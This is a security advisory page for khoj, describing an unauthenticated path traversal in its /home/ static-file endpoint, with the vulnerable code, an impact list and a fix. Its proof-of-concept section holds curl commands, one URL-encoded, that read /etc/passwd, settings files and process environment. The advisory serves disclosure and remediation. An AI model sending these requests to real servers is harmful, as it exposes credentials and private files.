GHSA-62mm-xwmv-crhg

Suggest an improvement
Source
https://github.com/advisories/GHSA-62mm-xwmv-crhg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-62mm-xwmv-crhg/GHSA-62mm-xwmv-crhg.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-62mm-xwmv-crhg
Published
2026-09-25T21:38:15Z
Modified
2026-09-25T23:00:30Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem
Details

Summary

The /home/{file_path:path} endpoint in web_client.py serves static files by directly concatenating the user-supplied file_path with the home_directory constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use ../ sequences to read arbitrary files from the server filesystem.

Details

Vulnerable code — src/khoj/routers/web_client.py lines 46-49:

@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
    """Serve static files from the home landing page directory"""
    return FileResponse(constants.home_directory / file_path)

Where home_directory is defined in src/khoj/utils/constants.py line 6:

home_directory = web_directory / "home/"

What is missing:

  • No .. traversal filtering
  • No path normalization/resolution check (e.g., resolved.is_relative_to(home_directory))
  • No authentication decorator (@requires(["authenticated"]) is absent)
  • Starlette's FileResponse does NOT perform path traversal protection

Path resolution:

Request: GET /home/../../../../../../../etc/passwd
file_path = "../../../../../../../etc/passwd"
home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd

PoC

# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd

# Read application settings (may contain SECRET_KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py

# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ

URL-encoded variant (may bypass some reverse proxy normalization):

curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Impact

Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:

  • Read application configuration — Django SECRET_KEY, database credentials, API keys
  • Read system files — /etc/passwd, /etc/shadow (if permissions allow), /proc/self/environ
  • Exfiltrate sensitive data — Any file readable by the server process
  • Facilitate further attacks — Leaked credentials enable deeper compromise

No authentication required — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.

Recommended fix

Use FastAPI's built-in StaticFiles mount instead of a custom handler, or add explicit path validation:

@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
    resolved = (constants.home_directory / file_path).resolve()
    if not resolved.is_relative_to(constants.home_directory.resolve()):
        raise HTTPException(status_code=404)
    return FileResponse(resolved)
Database specific
{
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-25T21:38:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}
References

Affected packages

PyPI / khoj

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.0.0-beta.23
Fixed
2.0.0-beta.25

Affected versions

2.*
2.0.0b23
2.0.0b24.dev1
2.0.0b24.dev4
2.0.0b24
2.0.0b25.dev1
2.0.0b25.dev3
2.0.0b25.dev7
2.0.0b25.dev9
2.0.0b25.dev10

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-62mm-xwmv-crhg/GHSA-62mm-xwmv-crhg.json"